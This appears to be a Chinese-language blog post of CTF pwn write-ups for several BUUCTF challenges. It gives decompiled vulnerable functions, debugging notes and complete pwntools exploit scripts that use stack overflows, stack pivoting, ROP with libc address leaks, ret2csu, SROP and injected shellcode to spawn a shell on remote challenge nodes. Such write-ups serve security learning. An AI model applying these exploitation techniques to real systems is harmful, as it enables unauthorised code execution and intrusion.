    main_addr,  # system() 返回地址,理论上可以乱填,实际上出了点问题,别人的答案里面填 b'1234' 可以过,填 main_addr/sys_addr 均可以过,填 0 (自动p32)等不能过
    sh_addr    # system() 的参数
)
io.recv()
io.sendline(payload)
io.recv()
io.sendline(b'4')

io.interactive()

End.

24_jarvisoj_tell_me_something

简单栈溢出,但是有个小坑:

开局没有 push rbp,结尾处也没看到 leave,故溢出长度只需要写 0x88 而不用 +8.

from pwn import *

# io = process("./pwn")
io = remote("node5.buuoj.cn", 27316)
elf = ELF("./pwn")
# libc = ELF("../Libc/Ubuntu_16_x64_libc-2.23.so")

context.log_level = "debug"
context.arch = "amd64"

# 0x00000000004006f3 : pop rdi ; ret
# 0x00000000004006f1 : pop rsi ; pop r15 ; ret
rdi_ret = 0x00000000004006f3
good_game = elf.symbols["good_game"]
# puts_got = elf.got["puts"]
# puts_plt = elf.plt["puts"]

payload = flat(
    b'a' * (0x88),
    good_game
)
io.sendafter("Input your message:\n", payload)
# puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# success("puts_addr: " + hex(puts_addr))

io.interactive()

End.

25_ciscn_2019_es_2

栈迁移

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

可以溢出 0x8 个字节,刚好能够覆盖返回地址。

使用 leave; ret 实现栈迁移,从而在 s 处写 ROP, 获得 shell.

# 0x08048562 : leave ; ret
leave_ret = 0x08048562
sys_addr = 0x8048400

main_addr = elf.symbols["main"]

# leak ebp
payload = flat(
    b'a' * (0x28)
)
io.send(payload)
io.recvuntil(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38

# 栈迁移
payload = flat(
    b'a' * 4,
    sys_addr,
    main_addr,
    s_addr + 0x10,
    b"/bin/sh\x00"
)
payload = payload.ljust(0x28, b'\x00')
payload += flat(
    s_addr,
    leave_ret
)
io.recv()
io.sendline(payload)
io.interactive()

思路:第一次溢出获取栈地址,第二次溢出实现栈迁移。填完 0x28 位以后先讲 save_ebp 的位置修改为 s 的地址,再在返回处执行 leave; ret 实现栈迁移。具体过程:

leave -> mov ebp, esp; pop ebp

ebp 变为 s 的位置,pop ebp 以后 esp 自增 4,ebp 被赋值为 ‘aaaa’ (当然这并不重要)。

ret -> pop eip

eip 成功指向 sys_addr 执行 system() 函数,并且从下一个位置获取返回地址(这里填充了 main_addr 理论上可以随便填),从下下个位置获取参数地址。我们把参数 ‘/bin/sh\x00’ 写在后面,稍微一算就知道地址应该填 s_addr + 0x10.

26_[HarekazeCTF2019]baby_rop2

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fd000)
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ");
  v5 = read(0, buf, 0x100uLL);
  buf[v5 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

遇到的麻烦:

  1. 查看 .got.plt 发现没有 puts 只能用 printf

解决方法:思路类似,只需要搞清楚 printf 应该怎么填参数即可。这边可以借用原来代码里的 welcome… 利用其中的 %s,并再传一个参数

  1. printf 的 got 打不出来

解决方法:换成 read 或其他函数再试试(所以为什么 printf 不行?)

  1. libc_base 结尾不是 000 ?

解决方法:肯定哪里错了,gdb 调试下看看,接收到的和 libc.sym 出来的结尾是不是一样的。

  1. 感觉都对但是程序死掉了

解决方法:加一点 ret 保证栈对齐。

from pwn import *

# io = process("./pwn")
io = remote("node5.buuoj.cn", 27104)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context.arch = "amd64"
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
# gdb.attach(io)

# 0x0000000000400733 : pop rdi ; ret
# 0x00000000004004d1 : ret
# 0x0000000000400731 : pop rsi ; pop r15 ; ret
Welcome_addr = 0x400770
ret_addr = 0x4004d1
rdi_ret = 0x400733
rsi_r15_ret = 0x400731
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
read_got = elf.got["read"]
main_addr = elf.symbols["main"]

io.recvuntil("What's your name? ")
payload = flat(
    b'a' * (0x20 + 8),
    ret_addr,
    rdi_ret,
    Welcome_addr,
    rsi_r15_ret,
    # printf_got,
    read_got,
    0x0,
    printf_plt,
    main_addr
)
io.send(payload)
io.recvline()
io.recvuntil(b"Welcome to the Pwn World again, ")
# printf_addr = u64(io.recv(6).ljust(8, b"\x00"))
# success("printf_addr: " + hex(printf_addr) + "\n" + hex(libc.symbols["printf"]))
read_addr = u64(io.recv(6).ljust(8, b"\x00"))
success("read_addr: " + hex(read_addr) + "\n" + hex(libc.symbols["read"]))

# libc_base = printf_addr - libc.symbols["printf"]
libc_base = read_addr - libc.symbols["read"]
success("libc_base: " + hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = flat(
    b'a' * (0x20 + 8),
    rdi_ret,
    bin_sh_addr,
    sys_addr
)
# io.recv()
io.sendafter(b"What's your name? ", payload)

io.interactive()

End.

30_ciscn_2019_s_3

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  return vuln(argc, argv, envp);
}
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

很明显的栈溢出,但是与一般题目不同的是,这里采用系统调用,这个 sys_read() 并不是自定义函数,也不是一般的记录在 .plt.got 里面的函数,双击这个函数无事发生!

直接看汇编:

; Attributes: bp-based frame

; signed __int64 vuln()
public vuln
vuln proc near

buf= byte ptr -10h

; __unwind {
push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h       ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h ; '0'  ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_write
retn
vuln endp ; sp-analysis failed

首先要搞清楚 64 位系统的系统调用:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdirsirdx , … 寄存器中,返回值存在 rax 寄存器;

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15 ;

调用方式: 使用 syscall 进行系统调用。

网站 syscalls.w3challs.com 可以查询系统调用号。

查看 gadgets 函数(很有可能是题目的突破口):

这里 IDA 发病了,没显示全(看到第一个 retn 就截止了),直接看完整汇编代码:

解法1

可以看到题目送了我们一个 mov rax, 0x3b 用来调用 execve() ,效果和 system() 差不多。现在的目标就是泄露栈地址写入 ‘/bin/sh\x00’ 再调用 execve().

这个程序还有个奇特的地方就是 vuln() 函数结尾没有用 leave 实际上栈回不去。

先填 0x10 个字节看看:

可以看到 +0x10 的地方泄露了一个地址,减去 0x108 恰好就是 rbp 地址,由此即可得到 buf 的地址。而 buf 开头可以自由填充 '/bin/sh\x00' ,也就是说我们已经有了 execve() 的参数地址。

麻烦的是,execve() 需要 3 个参数:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

这里我们只需要 execve("/bin/sh", 0, 0) 即可,但找 gadgets 是个大麻烦。

0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x0000000000400580 : mov rdx, r13

没有 pop rdx 只能曲线救国……

通用 gadgets: __libc_csu_init 一般可以在这个函数里面找齐需要的 gadgets.

from pwn import *

# io = process('./pwn')
io = remote("node5.buuoj.cn", 26733)
elf = ELF('./pwn')
libc = ELF("../Libc/Ubuntu_18_x64_libc-2.27.so")

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)

# 0x00000000004005a3 : pop rdi ; ret
# 0x00000000004005a1 : pop rsi ; pop r15 ; ret
# 0x00000000004004e2 : mov rax, 0x3b ; ret
# 0x0000000000400580 : mov rdx, r13; mov rsi, r14; mov edi, r15; call qword ptr [r12 + rbx*8]
# 0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040059a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400517 : syscall
# 0x00000000004003a9 : ret

rdi_ret = 0x00000000004005a3
rsi_r15_ret = 0x00000000004005a1
mov_rdx_r13 = 0x0000000000400580
pop_r13_r14_r15_ret = 0x000000000040059e
rbx_rbp_r12_r13_r14_r15_ret = 0x000000000040059a
main_addr = elf.symbols['main']
vuln_addr = elf.symbols['vuln']
ret_addr = 0x00000000004003a9
set_rax = 0x00000000004004e2
syscall_addr = 0x0000000000400517


payload = flat(
    b'/bin/sh\x00' * 2,
    vuln_addr
)
io.send(payload)
io.recv(32)
# addr = u64(io.recv(6).ljust(8, b'\x00'))
# bin_sh_addr = addr - 280
bin_sh_addr = u64(io.recv(8)) - 280
success("bin_sh_addr => {:#x}".format(bin_sh_addr))

payload = flat(
    b'/bin/sh\x00',
    ret_addr,
    set_rax,
    rbx_rbp_r12_r13_r14_r15_ret,
    0,
    1, # rbp 置 1 也是关键点,后面有一句 cmp rbx, rbp 如果不置 1 会跳到其他地方去
    bin_sh_addr + 8, # 设置 r12,后面有一句 call qword ptr [r12 + rbx*8] 会跳转到 r12 的位置(rbx已经置零)
    0,
    0,
    0,
    mov_rdx_r13,
    0,
    1,
    2,
    3,
    4,
    5,
    6,        # 这 7 个参数是因为 mov_rdx_r13 的 gadgets 后面又进行了一遍 pop ,必须给它填满。但是只有 6 个 pop 为什么要 7 个参数?gdb 调试的时候发现 0 被吞了,寄存器从 1 开始被赋值,也就是最后一个没被赋值到,所以要多加一个参数。(应该是因为第二遍 pop 前有一句 add rsp, 8 导致栈上直接少了一个东西,所以要多填一个东西?)
    rdi_ret,
    bin_sh_addr,
    syscall_addr
)
io.recv()
io.send(payload)

io.interactive()

解法2

题目还送了我们一个 gadgets:mov rax, 0xf , 这样就可以利用 sigreturn 的系统调用。

详见佬的文章:BUUCTF-ciscn_2019_s_3 – wudiiv11 – 博客园 (cnblogs.com)

而 pwntools 能够自动生成对应布局:

from pwn import *

# io = process('./pwn')
io = remote("node5.buuoj.cn", 26733)
elf = ELF('./pwn')
libc = ELF("../Libc/Ubuntu_18_x64_libc-2.27.so")

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)

set_rax_f = 0x00000000004004da
syscall_addr = 0x0000000000400517
vuln_addr = elf.symbols['vuln']


payload = flat(
    b'/bin/sh\x00' * 2,
    vuln_addr
)
io.send(payload)
io.recv(32)
bin_sh_addr = u64(io.recv(8)) - 280
success("bin_sh_addr => {:#x}".format(bin_sh_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_addr

payload = flat(
    b'/bin/sh\x00' * 2,
    set_rax_f,
    syscall_addr,
    bytes(sigframe)
)
io.recv()
io.send(payload)

io.interactive()

简单粗暴一把梭……

32-ez_pz_hackover_2016

 Arch:       i386-32-little
 RELRO:      Full RELRO
 Stack:      No canary found
 NX:         NX unknown - GNU_STACK missing
 PIE:        No PIE (0x8047000)
 Stack:      Executable
 RWX:        Has RWX segments
 Stripped:   No
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  header();
  chall();
  return 0;
}
int header()
{
  printf("\n");
  printf("             ___ ____\n");
  printf("      ___ __| _ \\_  /\n");
  printf("     / -_)_ /  _// / \n");
  printf("     \\___/__|_| /___|\n");
  printf("        lemon squeezy\n");
  return printf("\n\n");
}
void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(s, 1023, stdin);
  v0 = strlen(s);
  v3 = memchr(s, '\n', v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", s);
  result = (void *)strcmp(s, "crashme");
  if ( !result )
    return vuln((char)s, 0x400u);
  return result;
}
void *__cdecl vuln(int src, size_t n)
{
  char dest[50]; // [esp+6h] [ebp-32h] BYREF

  return memcpy(dest, &src, n);
}

记录一下本次的痛点:因为栈溢出时输入点到溢出点的距离与预测不一致需要调试确定,然后看到如下界面:

诶,这时候进行 ni,程序就直接:爆!辣!

vuln 函数都进不去你调试个集贸呢!

哎哎,我真傻,真的,过了好久才意识到这里就应该用 si 调试了嘤嘤嘤……

si 进入 vuln , info r 查看 ebp 的情况,search “crash” 可以查到我们 payload 填入的位置,计算差值可以得到我们填入的位置离 ebp 差了 0x16 而不是 0x32. 后面就好办了,那么大一块空间一看就是让你写 shellcode 的。

payload = flat(
    b'crashme\x00', # 8 bytes
    b'a' * (0x16 - 8 + 4),
    shell_addr,
    shellcode
)

结果 shell_addr 也不符合预期,仍然需要调试确定。题目送的是 stack 的地址(记为 s_addr ),也就是我们填 b'crashme\x00' 的地方,可实际上 shellcode 却不在 s_addr + 0x16 + 8 的地方!

shell_addr 先随便填一个, shellcode 先填一个辨识度高的字符串,然后进行调试,我们惊讶地发现,shellcode 居然被传送到了 s_addr - 0x1c 的地方!

游戏结束……

from pwn import *

io = process("./pwn")
# io = remote("node5.buuoj.cn", 27320)
elf = ELF("./pwn")

context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

# gdb.attach(io, "b *0x80486bc")

io.recvuntil(b"Yippie, lets crash: ")
shellcode = asm(shellcraft.sh())
s_addr = io.recvline().strip()
s_addr = int(s_addr, 16)
success(f"stack address: {hex(s_addr)}")
io.recv()

shell_addr = s_addr - 0x1c

payload = flat(
    b'crashme\x00', # 8 bytes
    b'a' * (0x16 - 8 + 4),
    shell_addr,
    shellcode
)
# print(len(payload))
io.sendline(payload)

io.interactive()

End.

34_babyheap_0ctf

一道经典而基础的堆溢出 – Ponder的小站 (yemaster.cn)

多么美妙而精彩的构造,初次接触,值得单开一篇。

上一篇
下一篇